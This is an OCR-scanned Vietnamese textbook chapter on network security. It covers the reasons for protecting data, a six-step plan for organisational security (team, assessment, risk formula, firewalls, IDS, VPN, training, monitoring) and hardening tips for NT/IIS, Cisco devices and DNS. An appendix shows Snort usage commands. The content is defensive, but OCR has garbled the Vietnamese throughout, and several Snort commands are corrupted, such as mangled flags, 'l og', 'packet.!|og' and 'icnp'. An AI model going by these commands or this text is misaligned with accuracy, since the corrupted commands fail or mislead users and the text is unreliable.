1. Phong chong Hacker

a. Vi sao phdi bdo madt.
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Song song véi viéc xay dung nén tang vé cong nghé thong tin, cling nhu phat
trién cdc ng dung mdy tinh trong san xuat, kinh doanh, khoa hoc, gido duc, xa
hoi... thi viéc bdo vé nhiing thanh qua d6 1am diéu khong thé thi€u. Ngay nay,
Internet, mot kho tang thong tin khéng 16, phuc vu hitu hiéu trong san xuat kinh
doanh, da trd thanh d6i tugng cho nhiéu nguoi tan cong véi cac muc dich khéc
nhau. Doi khi, ciing chi don gian 1a d€ thir tai hodc dua bdn v6i ngudi khac.

Cung véi su phat trién khong ngiing ctia Internet va céc dich vu trén Internet,
sO luong cac vu tan cong trén Internet ciing tang theo cap s6 nhan. Trong khi cac
phuong tién thong tin dai ching ngay cang nhiac nhi€u dén Internet vGi nhiing
kha nang truy nhap thong tin dudng nhu dén vo tan cua nd, thi cic tai liéu chuyén
mon bat dau dé cap nhiéu dén van dé bao dam va an toan dit liéu cho cidc mdy
tinh duoc két ndi vao mang Internet.

Theo s6 liéu cua CERT (computer Emegency Response Team —“Doi cap ctu
mady tinh”), s6 lugng cac vu tan cong trén Internet duoc thong bdo cho t6 chiic
nay la it hon 200 vao nam 1989, khoang 400 vao nam 1991, 1400 vao nam 1993,
va 2241 vao nam 1994...Dén bay gio thi khong thé dém xué. Nhing vu tin cong
nay nham vao tit ca cdc mdy tinh ¢4 mit trén Internet, cdc mdy tinh cua tat ca
cdc cong ty 16n nhu AT&T, IBM, céc truong dai hoc, cdc co quan nha nudc, cac
t6 chiic quan su, nha bang... Mot s6 vu tdn cong c6 quy mo khéng 16 (c6 t6i
100.000 mdy tinh bi tdn cong). Hon nita, nhiing con s6 nay chi 1a phan ndi cla
tang bang. Mot phan rat 16n cdc vu tdn cong khong duoc thong bdo, vi nhiéu 1y
do, trong d6 c6 thé ké dén ndi lo bi mat uy tin, hoac don gian nhitng ngudi quéan
tri hé thong khong hé hay biét nhitng cudc tdn cong nham vao hé thong cua ho.

Khong chi s6 lugng cac cudc tan cong tang 1én nhanh chéng, ma cac phuong
phép tén cong ciing lién tuc dugc hoan thién. Diéu d6 mot phan do cac nhan vién
quan tri hé thong dugc két noi véi Internet ngay cang dé cao canh gidc. Ciing
theo CERT, nhiing cudc tdn cong thoi ky 1988-1989 chu yéu dodn tén ngudi st
dung — mat khau (UserID-Password) hoic sit dung mot s6 16i ctia cdc chuong

trinh va hé diéu hanh (security hole) 1am vo hiéu hé thong bao vé, tuy nhién cac
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cudc tin cong vao thoi gian gan day bao gom ca cédc thao tic nhu gia mao dia chi
IP, theo do6i thong tin truyén qua mang, chiém cac phién lam viéc tir xa (telnet
hoac rlogin)
Nhu cau bdo vé thong tin trén Internet c6 thé chia thanh ba loai gom:

- Bao veé dit liéu;

- Bao vé céc tai nguyén st dung trén mang

- Bao vé danh tiéng cuia co quan
b. Bao vé dir liéu.
Nhitng thong tin luu trit trén hé thong may tinh can dugc bao vé do cic yéu cau
sau:

- Bao mat: nhitng thong tin cé gia tri vé kinh t€, quan su, chinh sich ... can

duoc gitr kin.
- Tinh toan ven: thong tin khong bi mat mat hoac stra d6i, danh trdo.
- Tinh kip thoi: yéu cdu truy nhap thong tin vao diing thoi di€ém cén thiét.
Trong cdc yéu cau nay, thong thuong yéu ciu vé bao mat duoc coi l1a yéu cau

sO 1 doi vé6i thong tin luu trit trén mang. Tuy nhién, ngay ca khi nhiing thong tin
nay khong dugc giit bi mat, thi nhiing yéu cau vé tinh toan ven ciing rat quan
trong. Khong mot c4 nhan, mot t6 chitc ndo lang phi thi nguyén vat chat va thoi
gian dé Iuu trit nhitng thong tin ma khong biét vé tinh ding dan clia nhitng thong
tin do.
c. Bao vé cac tai nguyén sit dung trén mang.
Trén thuc t€, trong cac cudc tan cong trén Internet, ké tan cong, sau khi da lam
cht dugc hé thong bén trong, c6 thé sir dung cdc mdy nay phuc vu cho muc dich
ctia minh nhu chay cdc chuong trinh dd mat khau ngudi sir dung, st dung cac lién
két mang sdn c6 dé tiép tuc tan cong céac hé thong khéc. ..
d. Bao vé danh tiéng cua co quan.
Mot phan 16n cac cudc tdn cong khong duoc thong bao rong rai, va mot trong

nhitng nguyén nhan 1a ndi lo bi mat uy tin cua co quan bi tin cong, dic biét cic
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cong ty 16n va cic co quan quan trong trong bd mdy nha nude. Trong truong hop
ngudi quan tri hé thdng chi dugc biét dé€n sau khi chinh hé thdng ctia minh duogc
dung lam ban dap dé tan cong cac hé thong khdc, thi t6n that vé uy tin 1 rat 16n
va c6 thé dé lai hau qua lau dai.

2. Nhiing huéng dan bao mat cho hé thong.

Céc vén dé duogc trinh bay bao gom ca bao mat ¢ muc hé thong va tng dung sé la
co sG cho cac t6 chiic khi muén xay dung cdc co ché bao mat. C6 6 budc co ban
dugc trinh bay & day:

Budc 1: Thanh 1ap bd phan chuyén trach vé van dé bao mat.

Bit k¥ k€ hoach bao mat nao ciing can su ho tro trén nhiéu phuong dién khac
nhau, n€u né mudn thanh cong. Mot trong nhitng phuong thiic t6t nhit dé c6
duoc su ho trg 1a nén thiét 1ap mot bo phan chuyén trach vé van dé bao mat. Bo
phan nay s€ chiu trach nhiém trudc co quan vé cic cong viéc bao mat.

Muc dich trudce tién clia bd phan nay la gay dung uy tin véi khach hang. Hoat
dong cua bo phan nay s€ khién cho khich hang cam thdy yén tam hon khi lam
viéc hoac st dung cac dich vu ctia cong ty. Bo phan nay c6 trach nhiém thudng
xuyén cung cap cac luu y, canh bao lién quan dén an toan bao méat thong tin
nham tranh cdc rii ro ddng ti€c cho cdc bo phan trong co quan. Bo phan nay con
c6 trach nhiém tim hi€u, dua ra giai phdp, co ché€ bao mat cho toan bd co quan.
S€ 1a hiéu qua va xac thuc hon khi cong viéc nay duogc thuc hién boi chinh doi
ngil trong cong ty thay vi di thué mot cong ty bao mat khac thuc hién.

Cuoi cung, mot bo phan chuyén trach vé van dé bao mat c6 thé thay doi cach
lam, cdch thuc hién cong viéc clia co quan dé tang tinh bao mat. Vi du, sir dung
VPN (Virtual Private Network) cho co quan, day la mot cong nghé cho phép céc
nhan vién dam bao an toan khi doc email, lam viéc véi cac tai liéu tai nha, hay
chia sé cong viéc gilra hai nhan vién hay hai phong ban.

Bud6c 2: thu thap thong tin
Truée khi dua ra cac thong bdo mo ta thuc hién bao mat, chiing ta phai luong

duoc moi tinh hudng s€ xay ra, khong chi bao gom toan bo céac thiét bi va hé
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thong di kém trong viéc thuc hién bao mat ma con phai ké dén ca céc tién trinh
xr 1y, céc canh cdo bao mat, su thim dinh hay céc thong tin cin duoc bao vé.
Diéu nay rat quan trong khi cung cdp mot cdi nhin bao quét vé hé thong bao mat
clia co quan. Su chudn bi nay ciing nén tham chiéu t6i cac chinh sidch bao mat
cling nhu cdc hudng dan thuc hién cuia cong ty trong van dé an toan bao mat.
Phai Iuong truée duge nhitng gi xay ra trong ting budc ti€n hanh cua cac du an.

Pé kiém tra mitc do yéu kém cua hé thong, hiy bat dau véi nhitng van dé cé
thé dan t6i do rhi ro cao nhat trong hé théng mang clia co quan, nhu Internet.
Hay sir dung co ché bao mat bén ngoai tlir sain phdm cua mot hang c6 danh tiéng,
c6 thé cung cép thong tin can thiét dé wdc lugng mic bado mat hién tai cua co
quan khi bi tan cong tir Internet. Su thim dinh nay khong chi bao gébm viéc kiém
tra cac 16 hdng, ma con gdém ca cac phan tich tir ngudi st dung, mang va cic
phan tich vé thong tin cong cong sin c6.

Mot trong nhitng can nhic mang tinh quan trong 1a thim dinh tir bén ngoai
vao. Day chinh 13 diém may chot trong viéc danh gid hé thong mang. Dién hinh,
mot cong ty st dung co ché€ bao mat bén ngoai, cung cip cac dich vu email, web
theo co ch€ d6, ho nhan ra rang, khong phai toan bo cdc tdn cong déu dén tir
Internet. Viéc cung cdp 16p bao mat theo account, bao vé mang tir chinh nhitng
ngudi st dung trong mang, cac dong nghiép, va tao ra cdc mang riéng ré tir cac
cong truy nhap diu cudi.

Co ché€ bao mat bén trong ciling gildp viéc quan ly bao mat cong ty duoc tot
hon. Bang cach kiém tra toan bo cong viéc kinh doanh, céc co ché chinh sach,
cac qua trinh xtr 1y, xac thuc dit liéu tuong phan véi nhitng gi duoc mo ta, hay su
twong thich v6i nhitng chudn da tén tai duoc thim dinh. Co ché€ bdo mat bén
trong cung cap thong tin mot cach chi tié€t twong tu nhu viéc khao sat ky ludng
pham vi & muc sau hon, tham chi bao gém ca viéc pha ma mat khau va cic cong
cu phan tich hé thong dé ki€m tra tinh tuong thich vé chinh sich trong tuong lai.
Budc 3: Tham dinh tinh rti ro cta hé thong.

Khi thdm dinh tinh rti ro clia hé théng, hay sir dung cong thiic sau:
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Tinh riii ro = gid tri thong tin * mitc do cua 16 hong * khd ndng mdt
thong tin
Tinh rii ro bang vdéi gia tri thong tin trong cau hoi (bao gébm gia tri dong tién, gid
tri thoi gian mdy bi 16i do 16i bao mat, gia tri mat mat khach hang...), thoi gian
cta quy mo 16 hong (tong cong/timg phan clia ton that dit liéu, thoi gian hé thong
nglmg hoat dong su nguy hiém khi dir liéu hong), thoi gian vé kha niang xuat
hién mat thong tin.

Dé 1ay duoc céc két qua tir bue dau (cdc gia tri, bdo cdo vé co ché bao mat
ngoai, va chinh sach bao mét), va tap trung vao 3 trong s6 cac mat thuong duoc
dé cap. Sau d6, bat diu véi mot s6 cau hoi khung sau:

e Co ché bao mat da ton tai cua cong ty cé dugc dé ra rd rang va cung cip

du bién phap bao mat chua?

e K&t qua tir co ch€ bao mat bén ngoai c6 hop 1€ so véi chinh sach bao mat

ctia co quan?

e (C6 muc nao can stra lai trong co ché bao mat ma khong duoc chi ro trong

chinh sach?

e He¢ thong bao mat s€ mat tac dung trong tinh rui ro cao nhét nao?

e Gia tri, thong tin gi mang tinh rui ro cao nhat?

Céc cau tra 10i cung cdp cdi nhin toan dién cho viéc phan tich vé toan bo
chinh sach bao mat cta cong ty. C6 I€, thong tin quan trong dugc 1ay trong qua
trinh két hop cac gia tri tham dinh va tinh rui ro twong ng. Theo gid tri thong
tin, ban c6 thé tim thay cdc giai phap mo ta duoc toan bo cac yéu cau, ta c6 thé
tao ra mot danh séch quan tam vé 16 hdng bao mat.

Budc 4: Xay dung giai phap.

Trén thuc t€ khong ton tai giai phdp an toan, bao mat thong tin dang plug and
play cho cac t6 chic dic biét khi phai dam bao céc luat thuong mai da ton tai va
phai tuong thich véi cac tng dung, dit liéu san c6. Khong c6 mot tai liéu nao co

thé luong hét duoc moi 16 héng trong hé théng va ciing khong c6 nha san xuat
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ndo c6 thé cung cap du céc cong cu can thiét. Cach t6t nhat van 1a sir dung két
hop cdc giai phap, san phdm nhiam tao ra co ché bao mat t6i da.

Firewall

Xem xét va lua chon mot san pham firewall hop 1y va dua vao hoat dong phii hop
vGi chinh sach clia co quan 1a mot trong nhitng viéc dau tién trong qua trinh bao
mat hé thong. Firewall c6 thé 13 giai phap phan ciing hoidc phdn mém hoic két
hop ca hai. Nhiém vu cua firewall 1a ngan chan cac tn cong truc ti€p vao cac
thong tin quan trong ciia hé thong, kiém sodt cdc thong tin ra vao hé thong. Viéc
lua chon firewall thich hgp cho mot hé thong khong phai 1a dé dang. Cac firewall
déu phu thudc trén mot moi trudng, cAu hinh mang, tng dung cu thé. Khi xem
xét lua chon mot firewall, can tap trung tim hiéu tap cdc chiic nang cua firewall,
tinh nang loc dia chi, géi tin...

H¢é thong kiém tra xam nhdp mang (IDS)

Mot firewall dugc goi 1 t6t chi khi nd ¢6 thé loc va ao kha nang kiém soét cac
g6i tin khi di qua nd. Va day ciling chinh 1a noi ma hé thong IDS nhap cudc. Néu
xem firewall nhu mot con dap ngan nudc, thi c¢é thé vi IDS nhu mot hé thong
diéu khién ludng nudc trén céc hé thong xa nuéc khac nhau. Mot IDS, khong
lien quan t6i cdc cong viéc diéu khién huéng di cta cdc goi tin, ma nd chi ¢
nhiém vu phan tich cac géi tin ma firewall cho phép di qua, tim ki€m cac chit ky
tan cong da biét (cac chit ky tdn cong chinh la cac doan ma dugc biét mang tinh
nguy hi€ém cho hé thong) ma khong thé kiém tra hay ngin chin boi firewall. IDS
tuong (ing véi viéc bao vé dang sau cau firewall, cung c4p viéc ching thuc thong
tin can thi€t dé dam bao chéic chan cho firewall, cung cap viéc chiing thuc thong
tin can thiét dé dam bdo chéc chin cho firewall hoat dong hiéu qua.

Hé thong kiém tra xdm pham dua theo vang(H-IDS)

Su lua chon, thuc hién va sir dung mot hé thong kiém tra sw xAm pham trén may
chu dua trén nhi€u hé diéu hanh va moi trudng ing dung chi dinh. Mot ham chic
niang ddy du cta H-IDS c6 thé cung cip céc thong bio déu din theo thoi gian

cua bat ky su thay déi nao t6i may chi tir tic dong bén trong hay bén ngoai. N6
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12 mot trong nhitng céch tot nhat dé€ giam thi€u su ton thuong cua hé thong. Viéc
tim ki€ém hé théng ma hé trg hau hét cdc hé diéu hanh sir dung trong t6 chic cta
co quan nén dugc xem nhu mot trong nhiing quyét dinh chinh cho mébi H-IDS.
Hé thong kiém tra xam pham dua theo tng ding (App-IDS)
S6 lugng App-IDS xudt hién trén thi truong ngay cang nhiéu. Céc cong cu nay
thuc hién viéc phan tich cic thong diép tir mot tng dung cu thé hay thong tin qua
proxy tdi ting dung d6. Trong lic ching c¢6 muc dich cu thé, ching c6 thé cung
cép miic bdo mat tang lén theo ting mang tng dung cu thé. Khi duoc két hop véi
mot H-IDS, chiing dam bao ring su xam nhap t6i mot mdy chu s& giam thiéu.
Mot App-IDS nén dugc xem nhu mot chic nang hd trg bdo mat trong sudt, mac
du khong ding trong mot s6 truong hop.
Mang riéng do (VPN)
Viéc st dung VPN dé€ cung cdp cho cdc nhan vién hay cdc cong su truy cap t6i
cac tai nguyén cua cong ty, co quan tr nha hay noi lam viéc khac, s€ c6 muc bao
mat cao, hiéu qua nhit trong qua trinh truyén thong, va lam tang hiéu qua san
xudlt cua nhan vién. Tuy nhién, khong c6 dicu gi khong di kém su rui ro. Bat ky
tai thoi diém nao khi mot VPN dugc thiét 1ap, phai m& rong pham vi kiém so4t
bao mat clia co quan t6i toan bo cdc nit duoc két n6i véi VPN. Dé dam bao miic
bao mat cho hé théng nay, nguoi sit dung phai thuc hién day du cac chinh sach
bao mat ciia co quan. Diéu nay cé thé thuc hién dugc qua viéc st dung cic
huéng dan clia nha san xuét vé dich vu VPN nhu han ché cic ting dung c6 thé
chay & nha, cong mang c6 thé md loai bo kha nang chia kénh dit liéu, thiét lap he
thong bao vé virus khi chay hé thong tir xa, tit ca cong viéc nay gidp giam thiéu
tinh rdi ro. Diéu nay rat quan trong d6i véi cdc cong ty phai d6i mat vGi nhiing
de doa trong viéc kién cdo, mang clia ho hay hé thong duoc str dung dé tan cong
cac cong ty khac.
Sinh trac hoc trong bdo mdt.

Sinh tric hoc da dugc biét dén tir mot s6 nam truéc day, nhung cho dén nay

van c6 rat nhiéu kho khin cho viéc nhan rong dé dp dung cho cdc hé thong bao
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mat thuong mai. Dau tay, trong mat, giong ndi, ..., cung cap bao mat mic cao
trén mat khiu thong thudng hay chitng thuc hai nhan t6, nhung ho dén hién tai,
ching ciing vin dugc coi nhu phuong thitc t6t nhat dé truy cap vao hé thong.

Cdc thé hé thé thong minh.

Cac cong ty gan day str dung thé thong minh nhu mot phuong thitc bao mat hitu
hiéu. Windows 2000 cung cap co ché hoé tro thé thong minh nhu mot phuong tién
chinh trong viéc chiing thuc quyén dang nhap hé thong. N6i chung, su két hop da
cong nghé (nhu trong mat, thé thong minh, ddu tay) dang d4n hoan thién va mé
ra mot thoi dai méi cho viéc ching thuc quyén truy nhap trong hé thong bao mat.
Kiém tra mady chu.

Su kiém tra déu din miic bdo mat dugc cung cép boi cac may chi phu thudc chu
yéu vao su quan ly. Moi mdy chi & trong mot co quan nén dugc kiém tra tir
Internet dé phat hién 16 héng bao mat. Thém nita, viéc ki€m tra tir bén trong va
qué trinh thAm dinh may ch vé can ban 1a cin thiét d€ giam thi€u tinh rti ro cua
hé thong, nhu khi firewall bi 161 hay mot mdy chu, hé thong nao dé bi truc trac.
HAu hét cac hé diéu hanh déu chay trong tinh trang thap hon véi miic bao mat toi
thiéu va c6 rat nhiéu 16 hong bao mat. Trudc khi mot mdy chi khi dua vao hoat
dong, s& c6 mot qua trinh kiém tra theo mot s6 budc nhat dinh. Toan bo cdc ban
stra 16i phai dugc cai dat trén mdy chu, va bat ¢t dihc vu khong can thiét nao
phai dugc loai bo. Diéu nay lam trdnh do rti ro xuéng muc thap nhat cho hé
thong.

Viéc tiép theo 1a kiém tra cac file log tir cdc mdy chu va cdc ting dung. Chiing
s€ cung cap cho ta mot s6 thong tin t6t nhat vé hé thong, cdc tdn cong bao mat.
Trong rét nhiéu trudng hop, d6 chinh 1a mot trong cac céch dé xdc nhan quy mo
ctia mot tan cong vao may chu
Kiém sodt iing dung
Vén dé an toan bao mat trong ma nguon cua cdc tng dung hau hét khong duoc
quan tam. Diéu nay khong dugc thé hién trén cdc san phdm nhu liéu né c6 dugc

mua, dugc download mién phi hay dugc phét trién tir mot ma ngudn nao dé. Dé
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gitip d& giam thiéu su rui ro bao mat trong cdc tng dung, thim dinh lai gid tri
cua tng dung trong cong ty, ciing nhu cong viéc phat trién bén trong clia cic ting
dung. Diéu nay ciing c6 thé bao gébm céc danh gid clia cdc thuc thé bén ngoai
nhu dong nghiép hay doi tac.

Viéc diéu khién c4u hinh bao mat céc ung dung c6 thé 1am ting mitc bio mat.
Hau hét cic ung dung dugc cau hinh tai mic t6i thiéu cua tinh ning bio mat,
nhung qua cic cong cu ciu hinh, mic bao mat clia hé thoéng cé thé duoc ting
len. Luong thong tin kiém sodt dugc cung cip bdi ting dung ciing c6 thé duogc
céu hinh. Noi ma céc ting dung cung cap thong tin vé quy mo bao mat, thoi gian
kiém sodt va su phan tich thong tin nay s& 1a chia khoa d€ kiém tra cac vin dé
bao mat thong tin.

Cdc hé diéu hanh.

Su lua chon hé diéu hanh va ting dung 1a qu4 trinh doi hoi phéi c6 su can nhic ky
cang. Chon cdi gi gitta hé diéu hanh MS hay UNIX, trong rat nhi¢u truong hop,
déu thuong do 4n twong c4 nhan vé san phdm. Khi lua chon mot hé diéu hanh,
thong tin vé nha san xuit khong quan trong bang nhitng gi nha san xuét d6 1am
duoc trong thuc t&, vé kha nang bao tri hay dé dang thuc hién véi céc tai liéu di
kém. Bat k¥ mot hé diéu hanh nao tir vai nam truéc day déu khong thé dam bao
theo nhitng chuidn ngay nay, va viéc gilt cic mdy cha, tng dung duoc cap nhat
thudong xuyén s& dam bao giam thiéu kha nang rui ro ctia hé thong. Khi lua chon
mot hé diéu hanh, hiy tim hiéu khong chi céc tiéu chuin thong thudng nhu
(quan tri, hiéu nang, tinh chiing thuc), ma con phai xem xét kha nang ap dung
duoc cta hé diéu hanh vé6i hé thong hién tai. Mot hé diéu hanh c6 thé cung cip
co ché bao mat tot hon khi né tuong thich véi cac ing dung chay bén tron né nhu
DNS hay webserver, trong khi cdc hé diéu hanh khdc c6 thé ¢ nhiéu chic ning
tot nhu mot hé thong application, database hay email server.

Budc 5: Thuce hién va gido duc.

Ban dAu, su ho trg can thiét s& dugc dic rit lai va 1én k&€ hoach hoan chinh cho

du 4n bao mat. Day chinh 1a budc di quan trong mang tinh chién lugc vé van dé
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bao mat. Céc chi tiét k§ thuat cta bat ky su mo ta nao ciing s& thay doi theo moi
truong, cong nghé, va cic ky nang lién quan, ngoai ra ¢6 mot phan khong nam
trong viéc thuc thi bao mat nhitng ching ta khéng dugc coi nhe, d6 chinh la su
gido duc. D€ dam bao su thanh cong bao mat ngay tir lic diu, ngudi su dung
phai c6 duoc su gido duc can thiét vé chinh sach, gom co:

e K¥ nang vé cic hé thong bao mat mdi, cac thu tuc mdi.

e Hiéu biét vé cdc chinh sdch mdi vé tai san, dit liéu quan trong clia cong ty

e Hiéu céc tht tuc bat budc méi, chinh siach bao mat cong ty
N6i toém lai, khong chi doi hoéi nguoi st dung ¢ cac ky nang co ban, ma doi hoi
ho phai biét tai sao va cdi gi ho dang lam la can thiét véi chinh sach cua cong ty.
Budc 6: Tiép tuc kiém tra, phan tich va thuc hién.
Hau hét nhitng gi mong doi cia mot hé théng bao mat bat ky 1a chay 6n dinh,
diéu khién duoc hé théng va nidm bat dugc cdc luéng dit lieu cuia hé thong. Qua
trinh phan tich, téng hop céc thong tin, su kién tir firewall, IDS, VPN, router,
server, va cdc ting dung 1a cdch duy nhat dé kiém tra hiéu qua ciia mot hé thong
bao mat, va ciing 1a cdch duy nhat dé kiém tra hau hét su vi pham vé chinh sich
cling nhu cédc 16i thong thudng mac phai véi hé thong.
Cac goi y bao mat cho hé thong va mang
Theo luan diém ndy, ching ta tap trung chl yé€u vao cic budc mang tinh hé
thong dé cung cap mot hé thong bao mat. Tir day, chiing ta sé& chi ra mot vai
buéc di cu thé dé cai thién hé thong bao mat, dua trén két qua cta viéc st dung
cac phuong thirc bao mat bén ngaoi va bao méat bén trong ctia hé thong, ching ta
cling gidi han pham vi cta cdc goi ¥ nay theo cdc van dé chung nhat ma ta da
gap, dé cung cdp, mo ta van dé mot cdch chinh x4c hon cling nhu cdc thach thic
ma mang co quan phai d6i mat ngay nay. Dé mang tinh chuyén nghiép hon vé
IT, cac gogi y nay dugc chia thanh cac phan nhu sau:

Pic di€ém clia bao mat:
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e Tao bo phan chuyén trach biao mat dé xem xét toan bo cac van dé lién
quan téi bao mat
e Thuc hién céc thong bdo bao mat t6i ngudi sir dung dé dam bao moi ngudi
hiéu va thuc hién c4c yéu ciu ciling nhu su cén thi€t ctia viéc thuc hién yéu
cau do
e Tao, cap nhat, va theo d6i toan bo chinh sach bao mat ctia cong ty
Windows NT/IIS
e Hau hét 95% céc van dé bao mat cia N'T/IIS, ching ta c6 thé gidi quyét
theo céc ban stra 16i. Dam bao chic chan toan b cac mdy chu NT va IIS
duoc stra 16i v6i phién ban mdi nhat.
e Xo4a (dung cai dat) toan bo cac script tu Internet.
Cisco Routers
e Loai bd cdc tinh niang nhu finger, telnet, va cdc dich vu, cong khdc trén
thi€t bi dinh tuyén (router)
e BO cdc gai tin tai nguyén IP dan dudng trong router.
e Chay Unicast RPF dé€ ngan chian ngudi st dung gia mao IP
e St dung router nhu mot firewall phia trude va thuc hién cac ACL tuong tu
theo céc luat trong firewall.
Quy dinh chung vé cau hinh firewall
e (Cau hinh cua firewall nén c6 cac luat nghiém ngat. Chi o cac luat doi véi
ting loai truy cip ca bén ngoai 1an bén trong
e Giam thiéu cdc truy nhap tir xa t6i firewall.
e Cung céap hé thong ki€ém soat tap luat ctia firewall.
e Kiém tra lai cac luat.
Cisco PIX Firewalls
e Khong cho phép truy cap qua telnet
e Sirdung AAA cho viéc truy cap, diéu khién hé thong console

Kiém soat firewall-1
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e Loai bo cic luat mac dinh cho phép ma hoa va quan 1y cta firewall, thay
thé€ cdc luat khong r6 rang bang cac luat phan biét rach roi trong cong viéc
thuc thi.

e Khong st dung mac dinh luét “allow DNS traffic” chap nhan luat nay chi
cho cac may cha cung cap DNS cho bén ngoai.

DNS bén trong

e Bit ky mdy cht nao cung cdp DNS bén trong va ciac dich vu mang tinh
chat noi bo phai khong dugc cung cap DNS bén ngoai.

e Kiém tra v6i nha cung cap DNS cuia ban dé cau hinh bao vé tir thuoc tinh

“cache poisioning”
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PHU LUC: PHAN MEM GIAM SAT AN NINH MANG SNORT.

L. TONG QUAN VE SNORT

Snort 12 mot chuong trinh an ninh mang. N6 dugc st dung dé bt géi, theo
d6i, va canh bao cac truy nhéap trai phép.
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Hinh 1.1: Vi tri cua IDS

Internal
network

==}

IDS

146



Ta ¢6 thé ciu hinh cho snort hoat dong trong 3 mode chinh: sniffer, packet

logger, va network intrusion detection system.

Sniffer mode chi don gian doc cdc géi va hién thi ching du6i dang céc dit

liéu lién tuc trén console.
Packet logger mode s€ luu cac phan tich (logs) goi vao dia.

Network intrusion detection mode la phuc tap va khoé cau hinh nhat, n6 cho
phép ta phan tich giao dich trén mang dé tim ra nhitng xam nhap trdi phép dua
vao mot tap cdc rule set do ngudi dung tao ra dé tir d6 ¢6 nhitng hanh dong
(actions) phu hop.

1.1 Sniffer Mode

Dé in ra cdc TCP/IP headers ctia g6i ra man hinh ta thuc hién lénh:
./snort -v

Lénh nay s& chay snort va chi hién thi 1én man hinh cac IP header va céc
TCP/UDP/ICMP header. Con néu ta mudn thiy cac dit liéu tng dung duoc
truyén di nhu thé nao, ta thuc hién lénh:

./snort -vd

Lénh nay sé& yéu cdu snort hién thi dit liéu g6i cung vé6i cac header cua
ching. Néu ta hién thi ca cdc header cua tang data link, ta thuc hién lénh:
./snort -vde

Cau lénh trén cling tuong duong véi cau 1énh sau:

./snort -d -v -e
1.2 Packet Logger Mode

Néu ta mudn luu cac phan tich goi ra dia, ta phai chi ra thu muc log va snort
s€ tu dong chuyén vao Logger mode:
.I'snort -dev -I ./l og

Trong cau 1énh trén, ta gia sir thu muc ¢6 tén 1a log nam trong thu muc hién
thoi. Khi chay trong mode nay, snort s€ phan tich tit ca cac géi ma né thay va
luu cac két qua va mot cau tric thu muc dua vao dia chi IP ciia mot trong cac

host trong datagram.

Tuy nhién, néu ta chi dung tuy chon -1, thi doi khi snort s& luu cac két qua
phan tich vao mot thu muc & mot may tr xa (remote computer) chit khong phai
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mdy cuc bo. D€ chi ra may can luu cdc két qua phan tich ta thuc hién 1énh nhu
sau:
.Isnort -dev -1 ./log -h 192.168.1.0/ 24

Néu ta dang & trén mot mang toc do cao hoac ta mudn log cac géi dudi
dang gon nhe hon dé phan tich sau, ta nén ding ché€ do Binary mode log (dang
nhi phan). Binary mode log s€ log cac g6i du6i dang tcpdump vao mot file nhi
phan trong thu muc log:
.Isnort -1 ./log -Db

O day ta khong cén phai chi ra dia chi mang, bdi vi binary mode log s& log
tat ca vao mot file nhi phan don 1é, ta khong can phai chi cho snort cach dinh

dang cau tric thu muc dau ra.

Hon nita, ta khong can phai dung tuy chon —v (verbose mode) ciing nhu cac
tuy chon -d hay -e bdi vi trong binary mode toan bo goéi sé duoc log, khong phai
la log tirng thanh phan cua goi.

Khi cdc géi da duoc log vao mot file nhi phan, ta c6 thé doc dugc noi dung
clia cdc goi trong file nay bang cdch chuong trinh sniffer bat ky ¢6 hé tro dinh
dang nhi phan tcpdump (tcpdump binary format) nhu tcpdump hay Ethereal.
Snort ciing ¢6 thé doc lai cdc géi nay bang tuy chon —r. C4c géi tir bat ky mot file
dugc dinh dang tcpdump nao déu cé thé dugc snort xtt 1y & mot trong cdc mode
ctia né. Vi du, néu ta muén chay mot file binary log bang snort & sniffer mode,

ta st dung 1énh sau:
./snort -dv -r packet.!|og

Ta c6 thé mo ta dit liéu trong file theo nhiéu cdch. Vi du, néu ta chi muon

lay ra cac ICMP packets log file, ta ding 1énh:

./snort -dvr packet.log icnp
1.3 Network Intrusion Detection Mode

Dé chay ché do phat hién truy nhap trai phép (network intrusion detection
(NIDS)), ta thuc hién 1énh:

./snort -dev -1 ./log -h 192.168.1.0/24 -c snort.conf
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Trong d6 snort.conf 1a tén cua file chita tap cac rule cua snort. Lénh nay sé
4p dung mot rules set trong file snort.conf cho ting géi dé quyét dinh hanh dong
dugc thuc hién doi véi géi. Néu ta khong chi ra thu muc dau ra cho chuong trinh,

n6 s€ luu vao thu muc ngam dinh 1a /var/log/snort.

Mot diéu chii y trong ch€ do dong lénh 1a khong nén sir dung tuy chon —v vi
1y do téc do. Babi vi ghi dit liéu ra man hinh 1a mot viéc rat cham, va cac goéi co
thé bi drop trong khi ghi dit liéu d€ hién thi. Ta ciing khong can phai 1ay ra cic
header & tang data link, do d6 ta khong can su dung tuy chon —e.

./snort -d -h 192.168.1.0/24 -1 ./log -c snort.conf

Lénh nay s€ cau hinh cho Snort chay duéi dang NDIS co ban nhat, to run in
it’s most basic NIDS form, logging cac géi can thiét (xac dinh bdi rules set) dudi
dang ma ASCII vao mot cdu tric thu muc (giong nhu packet logger mode).

1.3.1 Cdu hinh ddu ra cia NDIS

C6 nhiéu cach dé ciu hinh diu ra cha Snort & NIDS mode. Cic co ché
logging and alerting (canh bdo) ngam dinh 1a log duéi dang ASCII dugc giai ma
va sit dung canh bdo toan phan (full alerts). Co ché canh bao toan phan s€ in ra
cac thong bao canh bao cung véi toan bd cac header ctia géi. Trong ché do dong
1énh, c6 rat nhi€u ché do canh bdo khac nhau.

C6 6 ché do canh bao do6 la: full, fast,

socket, syslog, smb (WinPopup), va none. Trong d6 4 trong 6 ché do duoc
sit dung véi tuy chon —A. D6 la:

-A fast: ghi ra canh bdo dudi dang don gian bao gom: mot tem thoi gian
(timestamp), thong bio canh bdo (alert message), cac cong/dia chi IP ngudn va
dich. Pay ciing 1a ch€ do canh bao ngam dinh.

-A full, -A unsock: gt cdc canh bao dén mot a UNIX socket ma mot
chuong trinh khdc c6 thé listen trén socket do.

-A none: tat ch€ do canh bao.

Cac g6i ¢6 thé dugc log dudi dang ASCII dugc giai ma (decoded ASCII)
hoac dud6i dang binary log file thong qua tuy chon -b.
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Né€u ta muon cam tit ca cac packet logging cing mot lic, sit dung tuy chon
-N.

Dé giii cdc canh bdo dén syslog, str dung tuy chon —s.

To send alerts to syslog, use the ”-s ” switch. Cac chitc nang ngam dinh ctia
co ché canh bdo syslog 1a LOG_AUTHPRIV va LOG_ALERT. Néu ta mudn

cau hinh thém céac chic nang khac cho syslog, sit dung cac output plugin
directives trong cic file rules. Xem chi tiét trong phan2.5.1.

Cuoi cung la co ché canh bao SMB. Co ché nay cho phép snort thiét 1ap cac
cudc goi tGi smbclient va gui cdc thong bao canh bao WinPopup (WinPopup
alert messages) t6 cac mdy Windows. Dé sir dung ché do canh bo nay, ta phai
cau hinh cho Snort stir dung né véi tuy chon —enable-smbalerts.

